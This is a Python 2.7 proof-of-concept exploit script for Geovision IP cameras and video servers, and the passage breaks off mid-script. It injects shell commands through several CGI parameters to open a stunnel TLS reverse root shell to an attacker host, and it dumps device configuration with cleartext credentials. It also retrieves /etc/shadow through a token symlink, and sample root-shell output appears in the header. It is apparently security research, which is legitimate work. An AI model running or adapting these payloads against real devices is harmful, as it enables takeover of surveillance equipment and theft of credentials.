#!/usr/bin/env python2.7
#
# [SOF]
#
# Geovision Inc. IP Camera & Video Server Remote Command Execution PoC
# Researcher: bashis <mcw noemail eu> (November 2017)
#
###########################################################################################
#
# 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]
# 2. Dump all settings of remote IPC with Login/Passwd in cleartext
# Using:
# - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]
# - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)
# - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10
# - CGI: 'JpegStream.cgi' (Anonymous) > v3.10
# 3. GeoToken PoC to login and download /etc/shadow via generated token symlink
#
# Sample reverse shell:
# $ ncat -vlp 1337 --ssl
# Ncat: Version 7.60 ( https://nmap.org/ncat )
# Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
# Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603
# Ncat: Listening on :::1337
# Ncat: Listening on 0.0.0.0:1337
# Ncat: Connection from 192.168.57.20.
# Ncat: Connection from 192.168.57.20:16945.
# /bin/sh: can't access tty; job control turned off
# /www # id
# id
# uid=0(root) gid=0(root)
# /www # uname -a
# uname -a
# Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown
# /www # exit
# $
 
############################################################################################
 
import sys
import socket
import urllib, urllib2, httplib
import json
import hashlib
import commentjson # pip install commentjson
import xmltodict # pip install xmltodict
import select
import string
import argparse
import random
import base64
import ssl
import json
import os
import re
 
#from pwn import *
 
def split2len(s, n):
    def _f(s, n):
        while s:
            yield s[:n]
            s = s[n:]
    return list(_f(s, n))
 
# Ignore download of '302 Found/Location' redirections
class NoRedirection(urllib2.HTTPErrorProcessor):
 
    def http_response(self, request, response):
        return response
    https_response = http_response
 
class HTTPconnect:
 
    def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.credentials = credentials
        self.Raw = Raw
        self.noexploit = False
        self.noexploit = noexploit
     
    def Send(self, uri, query_headers, query_data, ID):
        self.uri = uri
        self.query_headers = query_headers
        self.query_data = query_data
        self.ID = ID
 
        # Connect-timeout in seconds
        timeout = 10
        socket.setdefaulttimeout(timeout)
 
        url = '{}://{}{}'.format(self.proto, self.host, self.uri)
 
        if self.verbose:
            print "[Verbose] Sending:", url
 
        if self.proto == 'https':
            if hasattr(ssl, '_create_unverified_context'):
                print "[i] Creating SSL Unverified Context"
                ssl._create_default_https_context = ssl._create_unverified_context
 
        if self.credentials:
            Basic_Auth = self.credentials.split(':')
            if self.verbose:
                print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]
            try:
                pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()
                pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
                auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
                if verbose:
                    http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS
                    opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)
                else:
                    opener = urllib2.build_opener(auth_handler,NoRedirection)
                urllib2.install_opener(opener)
            except Exception as e:
                print "[!] Basic Auth Error:",e
                sys.exit(1)
        else:
            # Don't follow redirects!
            if verbose:
                http_logger = urllib2.HTTPHandler(debuglevel = 1)
                opener = urllib2.build_opener(http_logger,NoRedirection)
                urllib2.install_opener(opener)
            else:
                NoRedir = urllib2.build_opener(NoRedirection)
                urllib2.install_opener(NoRedir)
 
 
        if self.noexploit and not self.verbose:
            print "[<] 204 Not Sending!"
            html =  "Not sending any data"
            return html
        else:
            if self.query_data:
                req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
                if self.ID:
                    Cookie = 'CLIENT_ID={}'.format(self.ID)
                    req.add_header('Cookie', Cookie)
            else:
                req = urllib2.Request(url, None, headers=self.query_headers)
                if self.ID:
                    Cookie = 'CLIENT_ID={}'.format(self.ID)
                    req.add_header('Cookie', Cookie)
            rsp = urllib2.urlopen(req)
            if rsp:
                print "[<] {}".format(rsp.code)
 
        if self.Raw:
            return rsp
        else:
            html = rsp.read()
            return html
 
 
 
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
 
    def __init__(self,verbose):
        self.verbose = verbose
 
    # Check if IP is valid
    def CheckIP(self,IP):
        self.IP = IP
 
        ip = self.IP.split('.')
        if len(ip) != 4:
            return False
        for tmp in ip:
            if not tmp.isdigit():
                return False
            i = int(tmp)
            if i < 0 or i > 255:
                return False
        return True
 
    # Check if PORT is valid
    def Port(self,PORT):
        self.PORT = PORT
 
        if int(self.PORT) < 1 or int(self.PORT) > 65535:
            return False
        else:
            return True
 
    # Check if HOST is valid
    def Host(self,HOST):
        self.HOST = HOST
 
        try:
            # Check valid IP
            socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
            # Now we check if it is correct typed IP
            if self.CheckIP(self.HOST):
                return self.HOST
            else:
                return False
        except socket.error as e:
            # Else check valid DNS name, and use the IP address
            try:
                self.HOST = socket.gethostbyname(self.HOST)
                return self.HOST
            except socket.error as e:
                return False
 
 
 
class Geovision:
 
    def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):
        self.rhost = rhost
        self.proto = proto
        self.verbose = verbose
        self.credentials = credentials
        self.raw_request = raw_request
        self.noexploit = noexploit
        self.headers = headers
        self.SessionID = SessionID
 
 
    def Login(self):
 
        try:
 
            print "[>] Requesting keys from remote"
            URI = '/ssi.cgi/Login.htm'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
            response = response.read()[:1500]
            response = re.split('[()<>?"\n_&;/ ]',response)
    #       print response
 
        except Exception as e:
            print "[!] Can't access remote host... ({})".format(e)
            sys.exit(1)
 
        try:
            #
            # Geovision way to have MD5 random Login and Password
            #
            CC1 = ''
            CC2 = ''
            for check in range(0,len(response)):
                if response[check] == 'cc1=':
                    CC1 = response[check+1]
                    print "[i] Random key CC1: {}".format(response[check+1])
                elif response[check] == 'cc2=':
                    CC2 = response[check+1]
                    print "[i] Random key CC2: {}".format(response[check+1])
                """
                #
                # Less interesting to know, but leave it here anyway.
                #
                # If the remote server has enabled guest view, these below will not be '0'
                elif response[check] == 'GuestIdentify':
                    print "[i] GuestIdentify: {}".format(response[check+2])
                elif response[check] == 'uid':
                    if response[check+2]:
                        print "[i] uid: {}".format(response[check+2])
                    else:
                        print "[i] uid: {}".format(response[check+3])
                elif response[check] == 'pid':
                    if response[check+2]:
                        print "[i] pid: {}".format(response[check+2])
                    else:
                        print "[i] pid: {}".format(response[check+3])
                """
 
            if not CC1 and not CC2:
                print "[!] CC1 and CC2 missing!"
                print "[!] Cannot generate MD5, exiting.."
                sys.exit(0)
 
            #
            # Geovision MD5 Format
            #
            uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()
            pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()
    #       print "[i] User MD5: {}".format(uMD5)
    #       print "[i] Pass MD5: {}".format(pMD5)
 
 
            self.query_args = {
                "username":"",
                "password":"",
                "Apply":"Apply",
                "umd5":uMD5,
                "pmd5":pMD5,
                "browser":1,
                "is_check_OCX_OK":0
                }
 
            print "[>] Logging in"
            URI = '/LoginPC.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    #       print response.info()
 
            # if we don't get 'Set-Cookie' back from the server, the Login has failed
            if not (response.info().get('Set-Cookie')):
                print "[!] Login Failed!"
                sys.exit(1)
            if verbose:
                print "Cookie: {}".format(response.info().get('Set-Cookie'))
 
            return response.info().get('Set-Cookie')
 
        except Exception as e:
            print "[i] What happen? ({})".format(e)
            exit(0)
 
 
    def DeviceInfo(self):
 
        try:
            URI = '/PSIA/System/deviceInfo'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)
            deviceinfo = xmltodict.parse(response)
            print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])
            return True
 
        except Exception as e:
            print "[i] Info about remote target failed ({})".format(e)
            return False
 
 
    def UserSetting(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning Usersetting.cgi"
        self.query_args = {
            "umd5":SH_CMD,
            "pmd5":"GEOVISION",
            "nmd5":"PWNED",
            "cnt5":"",
            "username":"",
            "passwordOld":"",
            "passwordNew":"",
            "passwordRetype":"",
            "btnSubmitAdmin":"1",
            "submit":"Apply"
            }
        try:
            URI = '/UserSetting.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
 
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
 
    def PictureCatch(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning PictureCatch.cgi"
        self.query_args = {
            "username":SH_CMD,
            "password":"GEOVISION",
            "attachment":"1",
            "channel":"1",
            "secret":"1",
            "key":"PWNED"
            }
 
        try:
            URI = '/PictureCatch.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
 
    def JpegStream(self,DumpSettings):
        self.DumpSettings = DumpSettings
 
        if self.DumpSettings:
            print "[i] Dump Config of remote"
            SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
        else:
 
            print "[i] Launching TLSv1 privacy reverse shell"
            self.headers = {
                'Connection': 'close',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla',
                'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
                }
            SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
 
        print "[>] Pwning JpegStream.cgi"
        self.query_args = {
            "username":SH_CMD,
            "password":"GEOVISION",
            "attachment":"1",
            "channel":"1",
            "secret":"1",
            "key":"PWNED"
            }
 
        try:
            URI = '/JpegStream.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
            if DumpSettings:
                print "[i] Dumping"
                URI = '/ssi.cgi/tmp/Login.htm'
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
                print response
                return True
        except Exception as e:
            if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                print "[!] Enjoy the shell... ({})".format(e)
                return True
 
#
# Interesting example of bad code and insufficent sanitation of user input.
# ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.
#
# Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.
# So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.
#
# v3.10->3.12 changed how to handle ipfilter
# From:
# User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash
# To:
# User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,
# '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'
# with system() call in 'libgeo_net.so'
# 
 
# Should end up into;
# 23835 root        576 S   sh -c /usr/local/bin/iptables -A INPUT  -s `/usr/loca...[trunkated]
# 23836 root       2428 S   /usr/local/bin/stunnel /tmp/x
# 23837 root        824 S   /bin/sh
 
 
    def FilterSetting(self):
 
        try:
            print "[>] Pwning FilterSetting.cgi"
            #
            # ';' will be treated by the code as LF
            # 
            # Let's use some TLSv1 privacy for the reverse shell 
            #
            SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'
            #
            SH_CMD = SH_CMD.replace("LHOST",lhost)
            SH_CMD = SH_CMD.replace("LPORT",lport)
            ShDict = SH_CMD.split(';')
 
            MAX_SIZE = 31 # Max Size of the strings to generate
            LF = 0
            LINE = 0
            CMD = {}
            CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"
            CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"
            SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'
 
            # Remove, just in case
            CMD[LINE] = "`rm -f /tmp/x`"
 
            URI = '/FilterSetting.cgi'
            #
            # This loop will make the correct aligment of user input
            #
            for cmd in range(0,len(ShDict)):
                CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)
                cmd_split = split2len(ShDict[cmd], SIZE)
                for CMD_LEN in range(0,len(cmd_split)):
                    LINE += 1
                    LF += 1
                    if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):
                        CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])
                    else:
                        CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])
                        LF = 0
                    if verbose:
                        print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])
 
            # Add two more commands to execute stunnel and remove /tmp/x
            CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH
            CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working
            CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop
#
# Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x
#
# client=yes
# connect=<LHOST>:<LPORT>
# exec=/bin/sh
# pty=yes
# sslVersion=TLSv1
#
 
            NEW_IP_FILTER = 1 # > v3.12
            CMD_LEN = 0
            who = 0
            # Clean up to make room, just in case
            for Remove in range(0,4):
                print "[>] Cleaning ipfilter entry: {}".format(Remove+1)
                self.query_args = {
                    "bPolicy":"0",      # 1 = Enable, 0 = Disable
                    "Delete":"Remove",  # Remove entry
                    "szIpAddr":"",
                    "byOpId":"0",       # 0 = Allow, 1 = Deny
                    "dwSelIndex":"0",
                    }
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
            while True:
                if who == len(CMD):
                    break
                if CMD_LEN < 4:
 
                    print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))
                    self.query_args = {
                        "szIpAddr":CMD[who], # 31 char limit
                        "byOpId":"0", # 0 = Allow, 1 = Deny
                        "dwSelIndex":"0", # Seems not to be in use
                        "Add":"Apply"
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    response = re.split('[()<>?"\n_&;/ ]',response)
                    print response
                    if NEW_IP_FILTER:
                        for cnt in range(0,len(response)):
                            if response[cnt] == 'iptables':
                                NEW_IP_FILTER = 0
                                print "[i] Remote don't need Enable/Disable"
                                break
                    CMD_LEN += 1
                    who += 1
                    time.sleep(2) # Seems to be too fast without
                # NEW Way
                elif NEW_IP_FILTER:
                    print "[>] Enabling ipfilter"
                    self.query_args = {
                        "bPolicy":"1", # 1 = Enable, 0 = Disable
                        "szIpAddr":"",
                        "byOpId":"0", # 0 = Allow, 1 = Deny
                        "dwSelIndex":"0",
                        }
 
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                    print "[i] Sleeping..."
                    time.sleep(5)
 
                    print "[>] Disabling ipfilter"
                    self.query_args = {
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                    for Remove in range(0,4):
                        print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                        self.query_args = {
                            "bPolicy":"0", # 1 = Enable, 0 = Disable
                            "Delete":"Remove",
                            "szIpAddr":"",
                            "byOpId":"0",
                            "dwSelIndex":"0",
                            }
                        response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    CMD_LEN = 0
                # OLD Way
                else:
                    for Remove in range(0,4):
                        print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                        self.query_args = {
                            "bPolicy":"0", # 1 = Enable, 0 = Disable
                            "Delete":"Remove",
                            "szIpAddr":"",
                            "byOpId":"0",
                            "dwSelIndex":"0",
                            }
                        response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                    CMD_LEN = 0
 
            if NEW_IP_FILTER:
                print "[i] Last sending"
                print "[>] Enabling ipfilter"
                self.query_args = {
                    "bPolicy":"1", # 1 = Enable, 0 = Disable
                    "szIpAddr":"",
                    "byOpId":"0", # 0 = Allow, 1 = Deny
                    "dwSelIndex":"0",
                    }
 
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                print "[i] Sleeping..."
                time.sleep(5)
 
                print "[>] Disabling ipfilter"
                self.query_args = {
                    "szIpAddr":"",
                    "byOpId":"0",
                    "dwSelIndex":"0",
                    }
                response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
 
                for Remove in range(0,4):
                    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                    self.query_args = {
                        "bPolicy":"0", # 1 = Enable, 0 = Disable
                        "Delete":"Remove",
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
             
            print "[!] Enjoy the shell... "
 
            return True
 
        except Exception as e:
 
            if not NEW_IP_FILTER:
                print "[i] Last sending"
                for Remove in range(0,4):
                    print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
                    self.query_args = {
                        "bPolicy":"0", # 1 = Enable, 0 = Disable
                        "Delete":"Remove",
                        "szIpAddr":"",
                        "byOpId":"0",
                        "dwSelIndex":"0",
                        }
                    response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
                print "[!] Enjoy the shell... "
                return True
 
            print "[!] Hmm... {}".format(e)
            print response.read()
            return True
 
 
    def GeoToken(self):
 
        print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"
        print "[!] You must have valid login and password to generate the symlink"
        try:
 
#########################################################################################
# This is how to list remote *.wav and *.avi files in /storage.
 
            """
            print "[>] Requesting token1"
            URI = '/BKCmdToken.php'
            response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                sys.exit(1)
            token1 = result['token']
 
#
# SAMPLE OUTPUT
#
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
            # Generate correct MD5 token2
            token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()
            query_args = {
                "token1":token1,
                "token2":token2
                }
 
            print "[>] List files"
            URI = '/BKFileList.php'
            response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            for who in result.keys():
                print len(who)
#
# SAMPLE OUTPUT
#
#{
#    "files": [
#        {
#            "file_size": "2904170",
#            "filename": "event20171105104946001.avi",
#            "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"
#        },
#        {}
#    ]
#}
#########################################################################################
            """
 
            # Request remote MD5 token1
            print "[>] Requesting token1"
            URI = '/BKCmdToken.php'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
            result = json.load(response)
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                return False
            token1 = result['token']
#
# SAMPLE OUTPUT 
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
            #
            # Generate correct MD5 token2
            #
            # MD5 Format: <login>:<token1>:<password>
            #
            token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest() 
 
            #
            # symlink this file for us
            #
            filename = '/etc/shadow'
 
            self.query_args = {
                "token1":token1,
                "token2":token2,
                "filename":filename
                }
 
            print "[>] Requesting download file link"
            URI = '/BKDownloadLink.cgi'
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
            response = response.read()#[:900]
            response = response.replace("'", "\"")
            result = json.loads(response)
            print "[i] Request OK?: {}".format(result['success'])
            if not result['success']:
                return False
            if verbose:
                print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
 
 
#
# SAMPLE OUTPUT
#
#{
#    "dl_folder": "/tmp",
#    "dl_token": "C71689493825787.dltoken",
#    "err_code": 0,
#    "success": true
#}
#
 
            URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']
 
            print "[>] downloading ({}) with ({})".format(filename,URI)
            response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
            response = response.read()
            print response
            return True
 
        except Exception as e:
            print "[i] GEO Token fail ({})".format(e)
            return False
 
 
if __name__ == '__main__':
 
#
# Help, info and pre-defined values
#   
    INFO =  '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'
    HTTP = "http"
    HTTPS = "https"
    proto = HTTP
    verbose = False
    noexploit = False
    raw_request = True
    rhost = '192.168.57.20' # Default Remote HOST
    rport = '80'            # Default Remote PORT
    lhost = '192.168.57.1'  # Default Local HOST
    lport = '1337'      # Default Local PORT
#   creds = 'root:pass'
    credentials = False
 
#
# Geovision stuff
#
    SessionID =  str(int(random.random() * 100000))
    DumpSettings = False
    deviceinfo = False
    GEOtoken = False
    anonymous = False
    filtersetting = False
    usersetting = False
    jpegstream = False
    picturecatch = False
    # Geovision default
    username = 'admin'
    password = 'admin'
 
#  
# Try to parse all arguments
#
    try:
        arg_parser = argparse.ArgumentParser(
        prog=sys.argv[0],
                description=('[*] '+ INFO +' [*]'))
        arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
        arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
        arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
        arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
        arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')
 
        arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')
 
        arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')
        arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')
        arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')
        arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')
        arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')
        arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')
        arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')
 
 
        arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')
        arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')
        if credentials:
            arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
        arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
        arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
        arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
        args = arg_parser.parse_args()
    except Exception as e:
        print INFO,"\nError: {}\n".format(str(e))
        sys.exit(1)
 
    print "\n[*]",INFO
 
    if args.verbose:
        verbose = args.verbose
#
# Check validity, update if needed, of provided options
#
    if args.https:
        proto = HTTPS
        if not args.rport:
            rport = '443'
 
    if credentials and args.auth:
        credentials = args.auth
 
    if args.geotoken:
        GEOtoken = args.geotoken
 
    if args.anonymous:
        anonymous = True
 
    if args.deviceinfo:
        deviceinfo = True
 
    if args.dump:
        DumpSettings = True
 
    if args.filtersetting:
        FilterSetting = True
 
    if args.usersetting:
        usersetting = True
 
    if args.jpegstream:
        jpegstream = True
 
    if args.picturecatch:
        picturecatch = True
 
    if args.username:
        username = args.username
 
    if args.password:
        password = args.password
 
    if args.noexploit:
        noexploit = args.noexploit
 
    if args.rport:
        rport = args.rport
 
    if args.rhost:
        rhost = args.rhost
        IP = args.rhost
 
    if args.lport:
        lport = args.lport
 
    if args.lhost:
        lhost = args.lhost
    elif args.autoip:
        # HTTP check of our external IP
        try:
 
            headers = {
                'Connection': 'close',
                'Accept'    :   'gzip, deflate',
                'Accept-Language'   :   'en-US,en;q=0.8',
                'Cache-Control' :   'max-age=0',
                'User-Agent':'Mozilla'
                }
 
            print "[>] Trying to find out my external IP"
            lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
            if verbose:
                print "[Verbose] Detected my external IP:",lhost
        except Exception as e:
            print "[<] ",e
            sys.exit(1)
 
    # Check if RPORT is valid
    if not Validate(verbose).Port(rport):
        print "[!] Invalid RPORT - Choose between 1 and 65535"
        sys.exit(1)
 
    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
    # Check if LHOST is valid IP or FQDN, get IP back
    lhost = Validate(verbose).Host(lhost)
    if not lhost:
        print "[!] Invalid LHOST"
        sys.exit(1)
 
    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(verbose).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
 
#
# Validation done, start print out stuff to the user
#
    if args.https:
        print "[i] HTTPS / SSL Mode Selected"
    print "[i] Remote target IP:",rhost
    print "[i] Remote target PORT:",rport
    if not args.geotoken and not args.dump and not args.deviceinfo:
